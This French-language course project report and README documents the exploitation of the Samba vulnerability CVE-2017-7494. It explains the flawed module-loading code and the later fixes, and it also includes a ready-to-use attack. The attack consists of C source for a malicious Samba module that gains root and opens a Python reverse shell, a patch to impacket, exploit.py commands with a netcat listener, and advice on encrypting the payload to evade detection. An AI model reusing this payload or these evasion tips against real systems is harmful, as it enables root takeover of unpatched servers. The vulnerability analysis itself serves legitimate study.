Exploit CVE-2017-7494 pour le travail final du cours Sécurité Réseau. Cela révélerait la vulnérabilité des services qui s'exécutent avec des privilèges administratifs sur Linux.
Exploitation de CVE-2017-7494 pour le projet final du cours de Sécurité Réseau. Ceci révèle la vulnérabilité des services qui s'exécutent avec des privilèges administratifs sur le système d'exploitation.
Ce bogue fonctionne à la fois sur macOS et Linux.
Avant l'exploitation, vous devez télécharger les dépendances.
/bin/bash install_requirement.sh
L'une des dépendances les plus importantes est le paquet impacket pour Python. Il permet aux connexions SMB de fonctionner.
Cependant, afin de construire une requête valide qui force le serveur Samba à charger notre module malveillant, nous devons modifier l'impacket original.
L'installation install_requirement.sh installe une version modifiée (modifiée par moi) donc vous n'avez pas à vous en soucier et vous n'avez besoin d'aucune modification manuelle.
Cependant, si vous souhaitez utiliser une version plus récente ou une autre version d'impacket, vous devez modifier ce paquet vous-même.
Allez dans
impacket/impacket/smb3.pymodifiez la ligne 11154 et commentez les deux phrases suivantes :
# fileName = fileName.replace('/', '\\') Should be comment!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Should be comment!
if fileName[0] == '\\':
fileName = fileName[1:]
Pour exploiter la cible, vous devez ouvrir deux terminaux. L'un utilise netcat pour interagir avec le shell inversé, l'autre est utilisé pour exploiter le BUG.
Utilisation :
# Premier terminal : utilisez nc pour obtenir un shell inversé
$ nc -p 23333 -l
# Deuxième terminal : exploitez la cible
$ python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135
Si la cible est macOS, vous ne devez pas compiler le module sur Linux ! Car gcc ne prend pas en charge le format MACH-O. Si vous êtes un utilisateur Mac, la compilation du payload macOS fonctionne.
Une version précompilée se trouve dans le répertoire. Fichier mac_payload.so.
Utilisez le paramètre -m pour indiquer à exploit.py que vous allez utiliser un payload personnalisé.
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m mac_payload.so
sudo -H python3 -m pip uninstall impacket
Un processus détaillé sera publié en chinois dans le cadre de mon projet final. Si vous comprenez le chinois, cela vous conviendra. :)
— Rapport d'attaque CVE2017-7494
EternalBlue a causé d'énormes pertes en 2017, exploitant le mécanisme SMB de Windows pour une attaque de ver. SMB est un service fonctionnant sous Windows qui permet le partage de fichiers et les appels de procédure distante (Remote Procedure Call, RPC) entre différents hôtes. C'est peut-être cette nature fonctionnelle qui en fait souvent une cible pour les hackers.
Les vulnérabilités du noyau du système d'exploitation lui-même devraient être assez rares – même pour Windows. Ce sont généralement les divers services s'exécutant sur le système d'exploitation qui posent problème. Ils n'ont pas le même niveau de test rigoureux que le système d'exploitation, mais fonctionnent avec des privilèges élevés, créant ainsi de nombreuses opportunités d'exploitation malveillante. Alors, pouvons-nous compromettre l'ensemble du système en attaquant un service à privilèges élevés sur le système d'exploitation, plutôt que d'attaquer les composants bas niveau du système d'exploitation lui-même ? Un système d'exploitation seul n'est qu'un noyau, incapable de faire quoi que ce soit ; ce n'est qu'en exécutant divers services système qu'il peut nous fournir des fonctionnalités variées. De nombreux services système doivent fonctionner avec des privilèges d'administrateur (en tant que démons). Par conséquent, compromettre un tel service à privilèges élevés permet d'obtenir automatiquement les privilèges d'administrateur du système, et donc de compromettre l'ensemble du système d'exploitation.
Finalement, j'ai trouvé une vulnérabilité exploitable dans l'implémentation open source de SMB : Samba – CVE-2017-7494. À l'instar de Windows, un attaquant peut obtenir les privilèges d'administrateur du système via l'appel de procédure distante de Samba, ce qui lui donne l'opportunité de construire un ver informatique pour attaquer en ligne.
Le noyau Linux est réputé pour sa sécurité grâce à l'open source ; macOS, en tant que système de niche, donne souvent une fausse impression de sécurité car peu de virus le ciblent. Par conséquent, cette expérience choisit d'attaquer macOS et plusieurs distributions Linux différentes pour démontrer la vulnérabilité des systèmes d'exploitation – peu importe à quel point la conception d'un système d'exploitation « semble sécurisée », il peut toujours être compromis par une vulnérabilité dans une petite application.
Étant donné que Samba est un service équivalent à SMB, certains l'appellent également « l'EternalBlue de Linux », bien que je pense que d'un point de vue technique, ces deux vulnérabilités sont fondamentalement différentes :
Cette vulnérabilité provient principalement de l'appel à smb_probe_module() dans la fonction bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax) du fichier source3\rpc_server\srv_pipe.c :
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
...
// Problème ici
status = smb_probe_module("rpc", pipename);
....
La fonction parente np_open() de is_known_pipename() est un module de contrôle qui, après avoir vérifié la requête de service RPC, appelle is_known_pipename(). Comme son nom l'indique, is_known_pipename() sert à déterminer si un tube distant est déjà enregistré. Cependant, après Samba 3.50, une nouvelle fonctionnalité a été introduite : le chargement de modules dynamiques via l'appel à smb_probe_module(). C'est précisément cette fonctionnalité de chargement de modules qui est exploitée par la vulnérabilité pour appeler notre propre module malveillant.
Le chargement du module rpc pipe suit la chaîne d'appels suivante :
is_known_pipename() - > smb_probe_module() -> do_smb_load_module() -> load_module()
Entre Samba 3.5.0 et Samba 4.6.3, la fonction do_smb_load_module() est réutilisée à la fois par smb_probe_module() (pour charger les modules RPC) et par un autre smb_load_module() (pour charger ses propres modules). smb_load_module() est destinée à charger des modules connus, normalement utilisée en interne pour l'extension des fonctionnalités de Samba, comme les modules VFS ; tandis que smb_probe_module() devrait signifier le chargement de modules potentiels, pouvant provenir des requêtes RPC.
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, true);
}
NTSTATUS smb_load_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, false);
}
Afin d'être réutilisée par ces deux fonctions d'origines très différentes (bien que je pense que ces deux modules ne devraient absolument pas partager la même fonction), do_smb_load_module() implémente deux façons de charger un module : « analyser la requête et charger le module dans le sous-système SMB » et « charger le module via un chemin absolu ».
static NTSTATUS do_smb_load_module(const char *subsystem,
const char *module_name, bool is_probe)
{
...
/* Vérification du chemin absolu */
// Commentaire : si le chemin passé provient de smb_probe_module(), qui ne devrait normalement pas donner de chemin absolu, mais le donne, alors cette vérification sera inefficace. C'est le principe de l'exploitation de cette vulnérabilité.
if (subsystem && module_name[0] != '/')
{
// Normalement, il faudrait entrer dans le sous-système pour convertir le sous-système SMB en chemin absolu
full_path = talloc_asprintf(ctx,"%s/%s.%s", modules_path(ctx, subsystem),module_name,shlib_ext());
...
}
else
{
// Mais elle charge directement le chemin absolu que nous avons construit, en passant par ici
init = load_module(module_name, is_probe, &handle);
// Ainsi init utilise un module d'un chemin absolu pour un « tube inexistant »
}
// Ici, l'appel au code malveillant a lieu directement
status = init();
...
Comme do_smb_load_module() ne sait pas si le chemin qui lui est passé provient de smb_load_module() ou de smb_probe_module(), cela nous permet de construire une requête falsifiée : transformer le chargement « normalement à l'intérieur du sous-système » en « chargement d'un module via un chemin absolu ». Et si ce chemin absolu correspond exactement à notre module malveillant prédéfini, la vulnérabilité est exploitée avec succès.
Par ailleurs, Samba, en tant que protocole prenant en charge le transfert de fichiers, nous permet de télécharger facilement notre module malveillant. De plus, les requêtes DCE supportent également les chemins absolus. Avec ces deux facteurs, nous pouvons facilement exploiter do_smb_load_module() pour qu'elle charge notre module malveillant via un chemin absolu.
Le schéma du principe d'exploitation est le suivant :

Dans les versions ultérieures, Samba a corrigé cette vulnérabilité, principalement en renforçant la vérification du nom de tube passé dans les requêtes RPC.
La première correction a été effectuée au niveau de is_known_pipename(), en utilisant strchr pour détecter la présence de / dans le nom du tube ; si présent, cela signifie le chargement d'un chemin Linux, ce qui doit être interdit.
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
NTSTATUS status;
// Ligne ajoutée pour détecter si la requête demande un chemin absolu
if (strchr(pipename, '/')) {
DEBUG(1, ("Refusing open on pipe %s\n", pipename));
return false;
}
...
La deuxième correction a été apportée au niveau de smb_probe_module() (d'après les logs Git, ajoutée vers la version 4.70). Par rapport à l'appel direct et simple à do_smb_load_module(), cette correction ajoute des règles plus précises :
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
...
// Deuxième détection de chemin absolu
if (strchr(module, '/')) {
status = NT_STATUS_INVALID_PARAMETER;
goto done;
}
....
done:
TALLOC_FREE(tmp_ctx);
return status;
}
Une autre ligne de défense a été ajoutée. De plus, la fonction de chargement des modules a été plus finement séparée : les fonctions smb_probe_module() et smb_load_module() ont été divisées en smb_probe_module(), smb_load_module() et smb_probe_module_absolute_path() pour renforcer la détection des chemins de modules malveillants.
Dans cette expérience, les machines cibles Linux utilisent différentes distributions Linux – Ubuntu et Alpine Linux – pour les tests, en utilisant Docker pour déployer des serveurs Samba dont la version est antérieure à 4.6.3 et postérieure à 3.5.0. Samba s'exécute en tant que démon smbd.
Alpine Linux est un Linux récemment populaire, réputé pour sa légèreté et sa sécurité. Contrairement aux Linux courants, il n'utilise pas glibc mais musl libc comme environnement d'exécution C ; il utilise également des outils en ligne de commande spécifiques avec busybox. Généralement, sans recompilation ou modification de code, les logiciels Linux courants ne peuvent pas fonctionner dessus. Cela pourrait facilement faire penser que « les attaques contre les Linux utilisant les bibliothèques GNU ne peuvent pas fonctionner sur Alpine Linux ».
De plus, cette expérience inclut également une attaque contre macOS – un autre système qui suscite des idées fausses. macOS est un système sans mesures de sécurité actives, mais le faible nombre d'attaques le ciblant a conduit à l'idée dominante que « macOS n'a pas de virus ».
En utilisant ces configurations avec différents types de systèmes, et en attaquant par le biais d'une vulnérabilité de logique de programmation (et non par un débordement de tampon), l'expérience révèle les faits suivants :
Le Samba Linux est déployé rapidement avec Docker. Il faut trouver une image suffisamment ancienne sur dockerhub. Le Samba Ubuntu provient de rootlogin/samba, le Samba Alpine Linux provient de servercontainers/samba:4.6.3. Il suffit de configurer correctement le chemin partagé du conteneur.
La version de macOS utilisée est 11.3 Big Sur.
Comme macOS est rarement utilisé comme serveur, il n'existe pas de version précompilée de l'ancienne version de Samba à installer. Il faut donc compiler l'ancienne version de Samba soi-même.
Utilisez :
git clone https://github.com/samba-team/samba.git
Récupérez Samba puis utilisez la fonction checkout de git pour revenir à la version 4.6.3.
Selon les enregistrements de 11811 – compile error on Mac OS X 10.11 error: field has incomplete type 'struct timespec' LOADPARM_EXTRA_LOCALS (samba.org) et [11984 – failed to compile on Mac OS X. (samba.org)](https://bugzilla.samba.org/show_bug.cgi?id=11984#:~:text= It can be,param%2Floadparam.h), la compilation de Samba sur macOS pose problème. Bien que les versions ultérieures aient corrigé cela, l'ancienne version nécessite d'appliquer manuellement des correctifs de compilation :
curl -fsSL https://willhaley.com/assets/compile-samba-macos/nss.diff | git apply -
En même temps, il faut ajouter #include <time.h> dans lib/param/loadparm.h comme fichier d'en-tête.
Enfin, après avoir résolu les dépendances nécessaires à la compilation, vous pouvez compiler, installer et exécuter la version macOS de Samba.
Cette expérience utilise Python pour attaquer la machine cible, et le paquet impacket pour les opérations SMB.
Le déroulement général de l'attaque est le suivant :
Les fonctions principales de la charge utile malveillante sont :
Afin d'obtenir le contrôle du serveur distant.
Le code est le suivant :
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdbool.h>
#include "config.h"
#define COMMAND "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""IP"\","PORT"));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"
static void CreateReverseShell()
{
pid_t pid;
pid = fork(); // Utiliser un sous-processus pour se détacher du processus principal de Samba
if (pid == 0)
{
umask(0);
chdir("/");
execl("/usr/bin/python", "python", "-c", (COMMAND), NULL); // Utiliser Python pour créer une connexion TCP et mettre en place un shell inversé
}
}
#ifdef __linux__
extern bool become_root(void);
#endif
// Lorsque Samba charge les modules, cette fonction est automatiquement appelée comme point d'entrée
int samba_init_module(void)
{
// Caractère : YOU ARE HACKED
printf("__ __ ___ __ __ __ __\n\\ \\/ /___ __ __ / | ________ / / / /___ ______/ /_____ ____/ /\n \\ / __ \\/ / / / / /| | / ___/ _ \\ / /_/ / __ `/ ___/ //_/ _ \\/ __ / \n / / /_/ / /_/ / / ___ |/ / / __/ / __ / /_/ / /__/ ,< / __/ /_/ / \n/_/\\____/\\__,_/ /_/ |_/_/ \\___/ /_/ /_/\\__,_/\\___/_/|_|\\___/\\__,_/ \n");
#ifdef __linux__
become_root();
#endif
CreateReverseShell();
return 0;
}
printf affiche la chaîne de caractères longue YOU ARE HACKED :
__ __ ___ __ __ __ __
\ \/ /___ __ __ / | ________ / / / /___ ______/ /_____ ____/ /
\ / __ \/ / / / / /| | / ___/ _ \ / /_/ / __ `/ ___/ //_/ _ \/ __ /
/ / /_/ / /_/ / / ___ |/ / / __/ / __ / /_/ / /__/ ,< / __/ /_/ /
/_/\____/\__,_/ /_/ |_/_/ \___/ /_/ /_/\__,_/\___/_/|_|\___/\__,_/
À des fins récréatives.
La fonction become_root() est une fonction de Samba, déclarée avec extern pour faciliter l'appel.
become_root pour obtenir un shell inversé avec les droits root. De plus, actuellement, sur les systèmes Apple, extern ne fonctionne pas et le linker pose problème. La raison n'est pas claire, donc un ifdef est utilisé pour éviter les systèmes Apple.La fonction CreateReverseShell() sépare le processus du shell inversé du processus principal, réalisant ainsi un effet de porte dérobée.
La charge utile du shell inversé utilise Python créé avec execl pour exécuter un script Python, plutôt qu'une version C, pour les raisons suivantes :
execl.eval(). On peut chiffrer le script d'ouverture du shell inversé, le déchiffrer lors de l'exécution, puis appeler eval() pour exécuter la charge utile malveillante, ce qui permet d'éviter la détection mentionnée au premier point.La charge utile malveillante pour macOS doit être compilée avec clang de macOS, car gcc de Linux ne supporte pas le format MACH-O des fichiers exécutables. De plus, il n'est pas nécessaire de spécifier le suffixe .dylib de macOS ; il suffit de compiler avec le suffixe .so.
Le script d'attaque Python utilise Python 3.7 comme environnement d'exécution. Le déroulement est principalement le suivant :
Au point d'entrée, Options est utilisé pour l'analyse. Lorsque l'utilisateur fournit un module précompilé, on utilise le module existant sans recompilation ; sinon, on utilise les paramètres lhost et lport pour compiler un nouveau module, afin que le shell inversé se connecte à l'attaquant.
Comme nous utilisons un chemin malveillant, nous devons modifier légèrement le paquet impacket d'origine pour qu'il puisse envoyer la requête nécessaire au serveur Samba.
Dans impacket/impacket/smb3.py, commentez les deux instructions à la ligne 11154 :
# fileName = fileName.replace('/', '\\') Should be comment!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Should be comment!
if fileName[0] == '\\':
fileName = fileName[1:]
Afin de réaliser le chargement d'un module malveillant avec un « chemin absolu ».
Les autres opérations (connexion, téléchargement de fichiers, chargement du module malveillant) sont toutes des fonctionnalités fournies par le paquet impacket, donc elles ne seront pas détaillées.
Avant l'attaque, utilisez netcat pour écouter le shell inversé renvoyé :
nc -p 23333 -l
Ensuite, utilisez
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m payload.so
Cela exécutera automatiquement le script Python décrit ci-dessus, et vous obtiendrez un shell inversé avec les privilèges root dans la fenêtre netcat, obtenant ainsi le contrôle du serveur distant.
Attaque sur Ubuntu :

Attaque sur Alpine Linux :

Attaque sur macOS :

Piratage de macOS depuis Windows et exécution du script :

scanf_s, strSafe ou à des « langages sécurisés difficilement sujets aux débordements de tampon » ne peut pas résoudre tous les problèmes ; des vulnérabilités exploitables peuvent également apparaître dans des endroits imprévus.